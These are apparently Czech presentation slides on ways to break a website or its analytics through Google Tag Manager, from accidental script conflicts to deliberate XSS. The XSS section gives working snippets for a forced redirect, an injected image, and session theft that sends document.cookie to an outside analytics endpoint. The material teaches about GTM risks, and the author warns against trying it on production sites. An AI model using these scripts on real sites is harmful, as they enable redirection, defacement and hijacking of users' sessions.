Jak rozbít web

nebo aspoň měření

Nedbalost, neznalost, neschopnost

Konflikty v javascriptu

Typicky javascripty nebo automatický listener. Při jeho použití vždycky web důkladně otestujte - a to hlavně v Internet Explorer.

Nekonečné cyklení

Hlavně u měření chyb - kdy spuštění značky měření chyby vyvolává chybu

Nepřesné měření

Data úplně chybí (v lepším případě, pak si toho někdo všimne), případně chybí jen částečně.

Typicky vzniká použitím málo podporovaných funkcí javascriptu.



Úmyslné napadení webu

GTM vkládá na web skripty třetích stran. Lze ho tedy využít k útoku cross-site scripting (XSS), což je právě vkládání skriptů třetích stran na web (ovšem těch zlých). Skripty na webu mohou dělat lecos - třeba přesměrovávat na jinou stránku nebo ukrást session.

Sluší se poznamenat, že XSS útoky jsou "za právní hranou" (pokud zlým jednáním způsobíte škodu), hrozí na ně pokuta a ve vyjímečných případech i vyšší tresty. Takže toto nezkoušejte na produkčních webech!
Pozn.: toto není produkční web :-D

Přesměrování

<script>
  window.location.href = 'https://www.houseofrezac.com/';
</script>

Úprava obsahu

Další možností, jak využít XSS útok v GTM je vkládání "nechtěného" obsahu na web, např. obrázku.

<img src="http://www.sabatka.net/sites/default/files/mereni-rychlosti-nacitani-stranek-pomoci-google-analytics-sitespeed-pageloadtime_0.jpg" alt="Toto by na webu být nemělo">

Ukradení session

Další možností, jak využít XSS, je session hijacking. Díky tomu se např. můžete tvářit jako administrátor webu, i když třeba neznáte administrátorské heslo apod.

Více o útoku je třeba na wikipedii, případně zkuste Google

<script>
  var img = document.createElement('img');
  var d = +(new Date());
  var l = document.location;
  img.src = 'https://www.google-analytics.com/__utm.gif?utmwv=4&utmn='+d+'&utdt=To%20fakt%20n%C4%9Bkdo%20zkusil!&utmhn='+l.hostname+'&utmcn=1&utmr=0&utmp='+l.pathname+'?c='+encodeURIComponent(document.cookie)+'&utmac=UA-56216744-1&utmcc=__utma%3D'+d+'.'+d+'.'+d+'.'+d+'.'+d+'.1%3B';
  document.body.appendChild(img);
</script>
  Předchozí Další